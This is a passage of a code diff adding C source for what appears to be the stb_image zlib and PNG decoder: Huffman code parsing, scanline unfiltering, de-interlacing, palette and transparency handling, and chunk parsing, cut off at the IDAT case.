+   memset(codelength_sizes, 0, sizeof(codelength_sizes));
+   for (i=0; i < hclen; ++i) {
+      int s = stbi__zreceive(a,3);
+      codelength_sizes[length_dezigzag[i]] = (stbi_uc) s;
+   }
+   if (!stbi__zbuild_huffman(&z_codelength, codelength_sizes, 19)) return 0;
+
+   n = 0;
+   while (n < ntot) {
+      int c = stbi__zhuffman_decode(a, &z_codelength);
+      if (c < 0 || c >= 19) return stbi__err("bad codelengths", "Corrupt PNG");
+      if (c < 16)
+         lencodes[n++] = (stbi_uc) c;
+      else {
+         stbi_uc fill = 0;
+         if (c == 16) {
+            c = stbi__zreceive(a,2)+3;
+            if (n == 0) return stbi__err("bad codelengths", "Corrupt PNG");
+            fill = lencodes[n-1];
+         } else if (c == 17)
+            c = stbi__zreceive(a,3)+3;
+         else {
+            STBI_ASSERT(c == 18);
+            c = stbi__zreceive(a,7)+11;
+         }
+         if (ntot - n < c) return stbi__err("bad codelengths", "Corrupt PNG");
+         memset(lencodes+n, fill, c);
+         n += c;
+      }
+   }
+   if (n != ntot) return stbi__err("bad codelengths","Corrupt PNG");
+   if (!stbi__zbuild_huffman(&a->z_length, lencodes, hlit)) return 0;
+   if (!stbi__zbuild_huffman(&a->z_distance, lencodes+hlit, hdist)) return 0;
+   return 1;
+}
+
+static int stbi__parse_uncompressed_block(stbi__zbuf *a)
+{
+   stbi_uc header[4];
+   int len,nlen,k;
+   if (a->num_bits & 7)
+      stbi__zreceive(a, a->num_bits & 7); // discard
+   // drain the bit-packed data into header
+   k = 0;
+   while (a->num_bits > 0) {
+      header[k++] = (stbi_uc) (a->code_buffer & 255); // suppress MSVC run-time check
+      a->code_buffer >>= 8;
+      a->num_bits -= 8;
+   }
+   STBI_ASSERT(a->num_bits == 0);
+   // now fill header the normal way
+   while (k < 4)
+      header[k++] = stbi__zget8(a);
+   len  = header[1] * 256 + header[0];
+   nlen = header[3] * 256 + header[2];
+   if (nlen != (len ^ 0xffff)) return stbi__err("zlib corrupt","Corrupt PNG");
+   if (a->zbuffer + len > a->zbuffer_end) return stbi__err("read past buffer","Corrupt PNG");
+   if (a->zout + len > a->zout_end)
+      if (!stbi__zexpand(a, a->zout, len)) return 0;
+   memcpy(a->zout, a->zbuffer, len);
+   a->zbuffer += len;
+   a->zout += len;
+   return 1;
+}
+
+static int stbi__parse_zlib_header(stbi__zbuf *a)
+{
+   int cmf   = stbi__zget8(a);
+   int cm    = cmf & 15;
+   /* int cinfo = cmf >> 4; */
+   int flg   = stbi__zget8(a);
+   if ((cmf*256+flg) % 31 != 0) return stbi__err("bad zlib header","Corrupt PNG"); // zlib spec
+   if (flg & 32) return stbi__err("no preset dict","Corrupt PNG"); // preset dictionary not allowed in png
+   if (cm != 8) return stbi__err("bad compression","Corrupt PNG"); // DEFLATE required for png
+   // window = 1 << (8 + cinfo)... but who cares, we fully buffer output
+   return 1;
+}
+
+static const stbi_uc stbi__zdefault_length[288] =
+{
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,
+   8,8,8,8,8,8,8,8,8,8,8,8,8,8,8,8, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, 9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,
+   7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, 7,7,7,7,7,7,7,7,8,8,8,8,8,8,8,8
+};
+static const stbi_uc stbi__zdefault_distance[32] =
+{
+   5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5,5
+};
+/*
+Init algorithm:
+{
+   int i;   // use <= to match clearly with spec
+   for (i=0; i <= 143; ++i)     stbi__zdefault_length[i]   = 8;
+   for (   ; i <= 255; ++i)     stbi__zdefault_length[i]   = 9;
+   for (   ; i <= 279; ++i)     stbi__zdefault_length[i]   = 7;
+   for (   ; i <= 287; ++i)     stbi__zdefault_length[i]   = 8;
+
+   for (i=0; i <=  31; ++i)     stbi__zdefault_distance[i] = 5;
+}
+*/
+
+static int stbi__parse_zlib(stbi__zbuf *a, int parse_header)
+{
+   int final, type;
+   if (parse_header)
+      if (!stbi__parse_zlib_header(a)) return 0;
+   a->num_bits = 0;
+   a->code_buffer = 0;
+   do {
+      final = stbi__zreceive(a,1);
+      type = stbi__zreceive(a,2);
+      if (type == 0) {
+         if (!stbi__parse_uncompressed_block(a)) return 0;
+      } else if (type == 3) {
+         return 0;
+      } else {
+         if (type == 1) {
+            // use fixed code lengths
+            if (!stbi__zbuild_huffman(&a->z_length  , stbi__zdefault_length  , 288)) return 0;
+            if (!stbi__zbuild_huffman(&a->z_distance, stbi__zdefault_distance,  32)) return 0;
+         } else {
+            if (!stbi__compute_huffman_codes(a)) return 0;
+         }
+         if (!stbi__parse_huffman_block(a)) return 0;
+      }
+   } while (!final);
+   return 1;
+}
+
+static int stbi__do_zlib(stbi__zbuf *a, char *obuf, int olen, int exp, int parse_header)
+{
+   a->zout_start = obuf;
+   a->zout       = obuf;
+   a->zout_end   = obuf + olen;
+   a->z_expandable = exp;
+
+   return stbi__parse_zlib(a, parse_header);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize(const char *buffer, int len, int initial_size, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, 1)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF char *stbi_zlib_decode_malloc(char const *buffer, int len, int *outlen)
+{
+   return stbi_zlib_decode_malloc_guesssize(buffer, len, 16384, outlen);
+}
+
+STBIDEF char *stbi_zlib_decode_malloc_guesssize_headerflag(const char *buffer, int len, int initial_size, int *outlen, int parse_header)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(initial_size);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer + len;
+   if (stbi__do_zlib(&a, p, initial_size, 1, parse_header)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_buffer(char *obuffer, int olen, char const *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 1))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+
+STBIDEF char *stbi_zlib_decode_noheader_malloc(char const *buffer, int len, int *outlen)
+{
+   stbi__zbuf a;
+   char *p = (char *) stbi__malloc(16384);
+   if (p == NULL) return NULL;
+   a.zbuffer = (stbi_uc *) buffer;
+   a.zbuffer_end = (stbi_uc *) buffer+len;
+   if (stbi__do_zlib(&a, p, 16384, 1, 0)) {
+      if (outlen) *outlen = (int) (a.zout - a.zout_start);
+      return a.zout_start;
+   } else {
+      STBI_FREE(a.zout_start);
+      return NULL;
+   }
+}
+
+STBIDEF int stbi_zlib_decode_noheader_buffer(char *obuffer, int olen, const char *ibuffer, int ilen)
+{
+   stbi__zbuf a;
+   a.zbuffer = (stbi_uc *) ibuffer;
+   a.zbuffer_end = (stbi_uc *) ibuffer + ilen;
+   if (stbi__do_zlib(&a, obuffer, olen, 0, 0))
+      return (int) (a.zout - a.zout_start);
+   else
+      return -1;
+}
+#endif
+
+// public domain "baseline" PNG decoder   v0.10  Sean Barrett 2006-11-18
+//    simple implementation
+//      - only 8-bit samples
+//      - no CRC checking
+//      - allocates lots of intermediate memory
+//        - avoids problem of streaming data between subsystems
+//        - avoids explicit window management
+//    performance
+//      - uses stb_zlib, a PD zlib implementation with fast huffman decoding
+
+#ifndef STBI_NO_PNG
+typedef struct
+{
+   stbi__uint32 length;
+   stbi__uint32 type;
+} stbi__pngchunk;
+
+static stbi__pngchunk stbi__get_chunk_header(stbi__context *s)
+{
+   stbi__pngchunk c;
+   c.length = stbi__get32be(s);
+   c.type   = stbi__get32be(s);
+   return c;
+}
+
+static int stbi__check_png_header(stbi__context *s)
+{
+   static const stbi_uc png_sig[8] = { 137,80,78,71,13,10,26,10 };
+   int i;
+   for (i=0; i < 8; ++i)
+      if (stbi__get8(s) != png_sig[i]) return stbi__err("bad png sig","Not a PNG");
+   return 1;
+}
+
+typedef struct
+{
+   stbi__context *s;
+   stbi_uc *idata, *expanded, *out;
+   int depth;
+} stbi__png;
+
+
+enum {
+   STBI__F_none=0,
+   STBI__F_sub=1,
+   STBI__F_up=2,
+   STBI__F_avg=3,
+   STBI__F_paeth=4,
+   // synthetic filters used for first scanline to avoid needing a dummy row of 0s
+   STBI__F_avg_first,
+   STBI__F_paeth_first
+};
+
+static stbi_uc first_row_filter[5] =
+{
+   STBI__F_none,
+   STBI__F_sub,
+   STBI__F_none,
+   STBI__F_avg_first,
+   STBI__F_paeth_first
+};
+
+static int stbi__paeth(int a, int b, int c)
+{
+   int p = a + b - c;
+   int pa = abs(p-a);
+   int pb = abs(p-b);
+   int pc = abs(p-c);
+   if (pa <= pb && pa <= pc) return a;
+   if (pb <= pc) return b;
+   return c;
+}
+
+static const stbi_uc stbi__depth_scale_table[9] = { 0, 0xff, 0x55, 0, 0x11, 0,0,0, 0x01 };
+
+// create the png data from post-deflated data
+static int stbi__create_png_image_raw(stbi__png *a, stbi_uc *raw, stbi__uint32 raw_len, int out_n, stbi__uint32 x, stbi__uint32 y, int depth, int color)
+{
+   int bytes = (depth == 16? 2 : 1);
+   stbi__context *s = a->s;
+   stbi__uint32 i,j,stride = x*out_n*bytes;
+   stbi__uint32 img_len, img_width_bytes;
+   int k;
+   int img_n = s->img_n; // copy it into a local for later
+
+   int output_bytes = out_n*bytes;
+   int filter_bytes = img_n*bytes;
+   int width = x;
+
+   STBI_ASSERT(out_n == s->img_n || out_n == s->img_n+1);
+   a->out = (stbi_uc *) stbi__malloc_mad3(x, y, output_bytes, 0); // extra bytes to write off the end into
+   if (!a->out) return stbi__err("outofmem", "Out of memory");
+
+   if (!stbi__mad3sizes_valid(img_n, x, depth, 7)) return stbi__err("too large", "Corrupt PNG");
+   img_width_bytes = (((img_n * x * depth) + 7) >> 3);
+   img_len = (img_width_bytes + 1) * y;
+
+   // we used to check for exact match between raw_len and img_len on non-interlaced PNGs,
+   // but issue #276 reported a PNG in the wild that had extra data at the end (all zeros),
+   // so just check for raw_len < img_len always.
+   if (raw_len < img_len) return stbi__err("not enough pixels","Corrupt PNG");
+
+   for (j=0; j < y; ++j) {
+      stbi_uc *cur = a->out + stride*j;
+      stbi_uc *prior;
+      int filter = *raw++;
+
+      if (filter > 4)
+         return stbi__err("invalid filter","Corrupt PNG");
+
+      if (depth < 8) {
+         STBI_ASSERT(img_width_bytes <= x);
+         cur += x*out_n - img_width_bytes; // store output to the rightmost img_len bytes, so we can decode in place
+         filter_bytes = 1;
+         width = img_width_bytes;
+      }
+      prior = cur - stride; // bugfix: need to compute this after 'cur +=' computation above
+
+      // if first row, use special filter that doesn't sample previous row
+      if (j == 0) filter = first_row_filter[filter];
+
+      // handle first byte explicitly
+      for (k=0; k < filter_bytes; ++k) {
+         switch (filter) {
+            case STBI__F_none       : cur[k] = raw[k]; break;
+            case STBI__F_sub        : cur[k] = raw[k]; break;
+            case STBI__F_up         : cur[k] = STBI__BYTECAST(raw[k] + prior[k]); break;
+            case STBI__F_avg        : cur[k] = STBI__BYTECAST(raw[k] + (prior[k]>>1)); break;
+            case STBI__F_paeth      : cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(0,prior[k],0)); break;
+            case STBI__F_avg_first  : cur[k] = raw[k]; break;
+            case STBI__F_paeth_first: cur[k] = raw[k]; break;
+         }
+      }
+
+      if (depth == 8) {
+         if (img_n != out_n)
+            cur[img_n] = 255; // first pixel
+         raw += img_n;
+         cur += out_n;
+         prior += out_n;
+      } else if (depth == 16) {
+         if (img_n != out_n) {
+            cur[filter_bytes]   = 255; // first pixel top byte
+            cur[filter_bytes+1] = 255; // first pixel bottom byte
+         }
+         raw += filter_bytes;
+         cur += output_bytes;
+         prior += output_bytes;
+      } else {
+         raw += 1;
+         cur += 1;
+         prior += 1;
+      }
+
+      // this is a little gross, so that we don't switch per-pixel or per-component
+      if (depth < 8 || img_n == out_n) {
+         int nk = (width - 1)*filter_bytes;
+         #define STBI__CASE(f) \
+             case f:     \
+                for (k=0; k < nk; ++k)
+         switch (filter) {
+            // "none" filter turns into a memcpy here; make that explicit.
+            case STBI__F_none:         memcpy(cur, raw, nk); break;
+            STBI__CASE(STBI__F_sub)          { cur[k] = STBI__BYTECAST(raw[k] + cur[k-filter_bytes]); } break;
+            STBI__CASE(STBI__F_up)           { cur[k] = STBI__BYTECAST(raw[k] + prior[k]); } break;
+            STBI__CASE(STBI__F_avg)          { cur[k] = STBI__BYTECAST(raw[k] + ((prior[k] + cur[k-filter_bytes])>>1)); } break;
+            STBI__CASE(STBI__F_paeth)        { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k-filter_bytes],prior[k],prior[k-filter_bytes])); } break;
+            STBI__CASE(STBI__F_avg_first)    { cur[k] = STBI__BYTECAST(raw[k] + (cur[k-filter_bytes] >> 1)); } break;
+            STBI__CASE(STBI__F_paeth_first)  { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k-filter_bytes],0,0)); } break;
+         }
+         #undef STBI__CASE
+         raw += nk;
+      } else {
+         STBI_ASSERT(img_n+1 == out_n);
+         #define STBI__CASE(f) \
+             case f:     \
+                for (i=x-1; i >= 1; --i, cur[filter_bytes]=255,raw+=filter_bytes,cur+=output_bytes,prior+=output_bytes) \
+                   for (k=0; k < filter_bytes; ++k)
+         switch (filter) {
+            STBI__CASE(STBI__F_none)         { cur[k] = raw[k]; } break;
+            STBI__CASE(STBI__F_sub)          { cur[k] = STBI__BYTECAST(raw[k] + cur[k- output_bytes]); } break;
+            STBI__CASE(STBI__F_up)           { cur[k] = STBI__BYTECAST(raw[k] + prior[k]); } break;
+            STBI__CASE(STBI__F_avg)          { cur[k] = STBI__BYTECAST(raw[k] + ((prior[k] + cur[k- output_bytes])>>1)); } break;
+            STBI__CASE(STBI__F_paeth)        { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k- output_bytes],prior[k],prior[k- output_bytes])); } break;
+            STBI__CASE(STBI__F_avg_first)    { cur[k] = STBI__BYTECAST(raw[k] + (cur[k- output_bytes] >> 1)); } break;
+            STBI__CASE(STBI__F_paeth_first)  { cur[k] = STBI__BYTECAST(raw[k] + stbi__paeth(cur[k- output_bytes],0,0)); } break;
+         }
+         #undef STBI__CASE
+
+         // the loop above sets the high byte of the pixels' alpha, but for
+         // 16 bit png files we also need the low byte set. we'll do that here.
+         if (depth == 16) {
+            cur = a->out + stride*j; // start at the beginning of the row again
+            for (i=0; i < x; ++i,cur+=output_bytes) {
+               cur[filter_bytes+1] = 255;
+            }
+         }
+      }
+   }
+
+   // we make a separate pass to expand bits to pixels; for performance,
+   // this could run two scanlines behind the above code, so it won't
+   // intefere with filtering but will still be in the cache.
+   if (depth < 8) {
+      for (j=0; j < y; ++j) {
+         stbi_uc *cur = a->out + stride*j;
+         stbi_uc *in  = a->out + stride*j + x*out_n - img_width_bytes;
+         // unpack 1/2/4-bit into a 8-bit buffer. allows us to keep the common 8-bit path optimal at minimal cost for 1/2/4-bit
+         // png guarante byte alignment, if width is not multiple of 8/4/2 we'll decode dummy trailing data that will be skipped in the later loop
+         stbi_uc scale = (color == 0) ? stbi__depth_scale_table[depth] : 1; // scale grayscale values to 0..255 range
+
+         // note that the final byte might overshoot and write more data than desired.
+         // we can allocate enough data that this never writes out of memory, but it
+         // could also overwrite the next scanline. can it overwrite non-empty data
+         // on the next scanline? yes, consider 1-pixel-wide scanlines with 1-bit-per-pixel.
+         // so we need to explicitly clamp the final ones
+
+         if (depth == 4) {
+            for (k=x*img_n; k >= 2; k-=2, ++in) {
+               *cur++ = scale * ((*in >> 4)       );
+               *cur++ = scale * ((*in     ) & 0x0f);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 4)       );
+         } else if (depth == 2) {
+            for (k=x*img_n; k >= 4; k-=4, ++in) {
+               *cur++ = scale * ((*in >> 6)       );
+               *cur++ = scale * ((*in >> 4) & 0x03);
+               *cur++ = scale * ((*in >> 2) & 0x03);
+               *cur++ = scale * ((*in     ) & 0x03);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 6)       );
+            if (k > 1) *cur++ = scale * ((*in >> 4) & 0x03);
+            if (k > 2) *cur++ = scale * ((*in >> 2) & 0x03);
+         } else if (depth == 1) {
+            for (k=x*img_n; k >= 8; k-=8, ++in) {
+               *cur++ = scale * ((*in >> 7)       );
+               *cur++ = scale * ((*in >> 6) & 0x01);
+               *cur++ = scale * ((*in >> 5) & 0x01);
+               *cur++ = scale * ((*in >> 4) & 0x01);
+               *cur++ = scale * ((*in >> 3) & 0x01);
+               *cur++ = scale * ((*in >> 2) & 0x01);
+               *cur++ = scale * ((*in >> 1) & 0x01);
+               *cur++ = scale * ((*in     ) & 0x01);
+            }
+            if (k > 0) *cur++ = scale * ((*in >> 7)       );
+            if (k > 1) *cur++ = scale * ((*in >> 6) & 0x01);
+            if (k > 2) *cur++ = scale * ((*in >> 5) & 0x01);
+            if (k > 3) *cur++ = scale * ((*in >> 4) & 0x01);
+            if (k > 4) *cur++ = scale * ((*in >> 3) & 0x01);
+            if (k > 5) *cur++ = scale * ((*in >> 2) & 0x01);
+            if (k > 6) *cur++ = scale * ((*in >> 1) & 0x01);
+         }
+         if (img_n != out_n) {
+            int q;
+            // insert alpha = 255
+            cur = a->out + stride*j;
+            if (img_n == 1) {
+               for (q=x-1; q >= 0; --q) {
+                  cur[q*2+1] = 255;
+                  cur[q*2+0] = cur[q];
+               }
+            } else {
+               STBI_ASSERT(img_n == 3);
+               for (q=x-1; q >= 0; --q) {
+                  cur[q*4+3] = 255;
+                  cur[q*4+2] = cur[q*3+2];
+                  cur[q*4+1] = cur[q*3+1];
+                  cur[q*4+0] = cur[q*3+0];
+               }
+            }
+         }
+      }
+   } else if (depth == 16) {
+      // force the image data from big-endian to platform-native.
+      // this is done in a separate pass due to the decoding relying
+      // on the data being untouched, but could probably be done
+      // per-line during decode if care is taken.
+      stbi_uc *cur = a->out;
+      stbi__uint16 *cur16 = (stbi__uint16*)cur;
+
+      for(i=0; i < x*y*out_n; ++i,cur16++,cur+=2) {
+         *cur16 = (cur[0] << 8) | cur[1];
+      }
+   }
+
+   return 1;
+}
+
+static int stbi__create_png_image(stbi__png *a, stbi_uc *image_data, stbi__uint32 image_data_len, int out_n, int depth, int color, int interlaced)
+{
+   int bytes = (depth == 16 ? 2 : 1);
+   int out_bytes = out_n * bytes;
+   stbi_uc *final;
+   int p;
+   if (!interlaced)
+      return stbi__create_png_image_raw(a, image_data, image_data_len, out_n, a->s->img_x, a->s->img_y, depth, color);
+
+   // de-interlacing
+   final = (stbi_uc *) stbi__malloc_mad3(a->s->img_x, a->s->img_y, out_bytes, 0);
+   for (p=0; p < 7; ++p) {
+      int xorig[] = { 0,4,0,2,0,1,0 };
+      int yorig[] = { 0,0,4,0,2,0,1 };
+      int xspc[]  = { 8,8,4,4,2,2,1 };
+      int yspc[]  = { 8,8,8,4,4,2,2 };
+      int i,j,x,y;
+      // pass1_x[4] = 0, pass1_x[5] = 1, pass1_x[12] = 1
+      x = (a->s->img_x - xorig[p] + xspc[p]-1) / xspc[p];
+      y = (a->s->img_y - yorig[p] + yspc[p]-1) / yspc[p];
+      if (x && y) {
+         stbi__uint32 img_len = ((((a->s->img_n * x * depth) + 7) >> 3) + 1) * y;
+         if (!stbi__create_png_image_raw(a, image_data, image_data_len, out_n, x, y, depth, color)) {
+            STBI_FREE(final);
+            return 0;
+         }
+         for (j=0; j < y; ++j) {
+            for (i=0; i < x; ++i) {
+               int out_y = j*yspc[p]+yorig[p];
+               int out_x = i*xspc[p]+xorig[p];
+               memcpy(final + out_y*a->s->img_x*out_bytes + out_x*out_bytes,
+                      a->out + (j*x+i)*out_bytes, out_bytes);
+            }
+         }
+         STBI_FREE(a->out);
+         image_data += img_len;
+         image_data_len -= img_len;
+      }
+   }
+   a->out = final;
+
+   return 1;
+}
+
+static int stbi__compute_transparency(stbi__png *z, stbi_uc tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 255 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i=0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 255);
+         p += 2;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__compute_transparency16(stbi__png *z, stbi__uint16 tc[3], int out_n)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi__uint16 *p = (stbi__uint16*) z->out;
+
+   // compute color-based transparency, assuming we've
+   // already got 65535 as the alpha value in the output
+   STBI_ASSERT(out_n == 2 || out_n == 4);
+
+   if (out_n == 2) {
+      for (i = 0; i < pixel_count; ++i) {
+         p[1] = (p[0] == tc[0] ? 0 : 65535);
+         p += 2;
+      }
+   } else {
+      for (i = 0; i < pixel_count; ++i) {
+         if (p[0] == tc[0] && p[1] == tc[1] && p[2] == tc[2])
+            p[3] = 0;
+         p += 4;
+      }
+   }
+   return 1;
+}
+
+static int stbi__expand_png_palette(stbi__png *a, stbi_uc *palette, int len, int pal_img_n)
+{
+   stbi__uint32 i, pixel_count = a->s->img_x * a->s->img_y;
+   stbi_uc *p, *temp_out, *orig = a->out;
+
+   p = (stbi_uc *) stbi__malloc_mad2(pixel_count, pal_img_n, 0);
+   if (p == NULL) return stbi__err("outofmem", "Out of memory");
+
+   // between here and free(out) below, exitting would leak
+   temp_out = p;
+
+   if (pal_img_n == 3) {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p += 3;
+      }
+   } else {
+      for (i=0; i < pixel_count; ++i) {
+         int n = orig[i]*4;
+         p[0] = palette[n  ];
+         p[1] = palette[n+1];
+         p[2] = palette[n+2];
+         p[3] = palette[n+3];
+         p += 4;
+      }
+   }
+   STBI_FREE(a->out);
+   a->out = temp_out;
+
+   STBI_NOTUSED(len);
+
+   return 1;
+}
+
+static int stbi__unpremultiply_on_load = 0;
+static int stbi__de_iphone_flag = 0;
+
+STBIDEF void stbi_set_unpremultiply_on_load(int flag_true_if_should_unpremultiply)
+{
+   stbi__unpremultiply_on_load = flag_true_if_should_unpremultiply;
+}
+
+STBIDEF void stbi_convert_iphone_png_to_rgb(int flag_true_if_should_convert)
+{
+   stbi__de_iphone_flag = flag_true_if_should_convert;
+}
+
+static void stbi__de_iphone(stbi__png *z)
+{
+   stbi__context *s = z->s;
+   stbi__uint32 i, pixel_count = s->img_x * s->img_y;
+   stbi_uc *p = z->out;
+
+   if (s->img_out_n == 3) {  // convert bgr to rgb
+      for (i=0; i < pixel_count; ++i) {
+         stbi_uc t = p[0];
+         p[0] = p[2];
+         p[2] = t;
+         p += 3;
+      }
+   } else {
+      STBI_ASSERT(s->img_out_n == 4);
+      if (stbi__unpremultiply_on_load) {
+         // convert bgr to rgb and unpremultiply
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc a = p[3];
+            stbi_uc t = p[0];
+            if (a) {
+               stbi_uc half = a / 2;
+               p[0] = (p[2] * 255 + half) / a;
+               p[1] = (p[1] * 255 + half) / a;
+               p[2] = ( t   * 255 + half) / a;
+            } else {
+               p[0] = p[2];
+               p[2] = t;
+            }
+            p += 4;
+         }
+      } else {
+         // convert bgr to rgb
+         for (i=0; i < pixel_count; ++i) {
+            stbi_uc t = p[0];
+            p[0] = p[2];
+            p[2] = t;
+            p += 4;
+         }
+      }
+   }
+}
+
+#define STBI__PNG_TYPE(a,b,c,d)  (((unsigned) (a) << 24) + ((unsigned) (b) << 16) + ((unsigned) (c) << 8) + (unsigned) (d))
+
+static int stbi__parse_png_file(stbi__png *z, int scan, int req_comp)
+{
+   stbi_uc palette[1024], pal_img_n=0;
+   stbi_uc has_trans=0, tc[3];
+   stbi__uint16 tc16[3];
+   stbi__uint32 ioff=0, idata_limit=0, i, pal_len=0;
+   int first=1,k,interlace=0, color=0, is_iphone=0;
+   stbi__context *s = z->s;
+
+   z->expanded = NULL;
+   z->idata = NULL;
+   z->out = NULL;
+
+   if (!stbi__check_png_header(s)) return 0;
+
+   if (scan == STBI__SCAN_type) return 1;
+
+   for (;;) {
+      stbi__pngchunk c = stbi__get_chunk_header(s);
+      switch (c.type) {
+         case STBI__PNG_TYPE('C','g','B','I'):
+            is_iphone = 1;
+            stbi__skip(s, c.length);
+            break;
+         case STBI__PNG_TYPE('I','H','D','R'): {
+            int comp,filter;
+            if (!first) return stbi__err("multiple IHDR","Corrupt PNG");
+            first = 0;
+            if (c.length != 13) return stbi__err("bad IHDR len","Corrupt PNG");
+            s->img_x = stbi__get32be(s); if (s->img_x > (1 << 24)) return stbi__err("too large","Very large image (corrupt?)");
+            s->img_y = stbi__get32be(s); if (s->img_y > (1 << 24)) return stbi__err("too large","Very large image (corrupt?)");
+            z->depth = stbi__get8(s);  if (z->depth != 1 && z->depth != 2 && z->depth != 4 && z->depth != 8 && z->depth != 16)  return stbi__err("1/2/4/8/16-bit only","PNG not supported: 1/2/4/8/16-bit only");
+            color = stbi__get8(s);  if (color > 6)         return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3 && z->depth == 16)                  return stbi__err("bad ctype","Corrupt PNG");
+            if (color == 3) pal_img_n = 3; else if (color & 1) return stbi__err("bad ctype","Corrupt PNG");
+            comp  = stbi__get8(s);  if (comp) return stbi__err("bad comp method","Corrupt PNG");
+            filter= stbi__get8(s);  if (filter) return stbi__err("bad filter method","Corrupt PNG");
+            interlace = stbi__get8(s); if (interlace>1) return stbi__err("bad interlace method","Corrupt PNG");
+            if (!s->img_x || !s->img_y) return stbi__err("0-pixel image","Corrupt PNG");
+            if (!pal_img_n) {
+               s->img_n = (color & 2 ? 3 : 1) + (color & 4 ? 1 : 0);
+               if ((1 << 30) / s->img_x / s->img_n < s->img_y) return stbi__err("too large", "Image too large to decode");
+               if (scan == STBI__SCAN_header) return 1;
+            } else {
+               // if paletted, then pal_n is our final components, and
+               // img_n is # components to decompress/filter.
+               s->img_n = 1;
+               if ((1 << 30) / s->img_x / 4 < s->img_y) return stbi__err("too large","Corrupt PNG");
+               // if SCAN_header, have to scan to see if we have a tRNS
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('P','L','T','E'):  {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (c.length > 256*3) return stbi__err("invalid PLTE","Corrupt PNG");
+            pal_len = c.length / 3;
+            if (pal_len * 3 != c.length) return stbi__err("invalid PLTE","Corrupt PNG");
+            for (i=0; i < pal_len; ++i) {
+               palette[i*4+0] = stbi__get8(s);
+               palette[i*4+1] = stbi__get8(s);
+               palette[i*4+2] = stbi__get8(s);
+               palette[i*4+3] = 255;
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('t','R','N','S'): {
+            if (first) return stbi__err("first not IHDR", "Corrupt PNG");
+            if (z->idata) return stbi__err("tRNS after IDAT","Corrupt PNG");
+            if (pal_img_n) {
+               if (scan == STBI__SCAN_header) { s->img_n = 4; return 1; }
+               if (pal_len == 0) return stbi__err("tRNS before PLTE","Corrupt PNG");
+               if (c.length > pal_len) return stbi__err("bad tRNS len","Corrupt PNG");
+               pal_img_n = 4;
+               for (i=0; i < c.length; ++i)
+                  palette[i*4+3] = stbi__get8(s);
+            } else {
+               if (!(s->img_n & 1)) return stbi__err("tRNS with alpha","Corrupt PNG");
+               if (c.length != (stbi__uint32) s->img_n*2) return stbi__err("bad tRNS len","Corrupt PNG");
+               has_trans = 1;
+               if (z->depth == 16) {
+                  for (k = 0; k < s->img_n; ++k) tc16[k] = (stbi__uint16)stbi__get16be(s); // copy the values as-is
+               } else {
+                  for (k = 0; k < s->img_n; ++k) tc[k] = (stbi_uc)(stbi__get16be(s) & 255) * stbi__depth_scale_table[z->depth]; // non 8-bit images will be larger
+               }
+            }
+            break;
+         }
+
+         case STBI__PNG_TYPE('I','D','A','T'): {
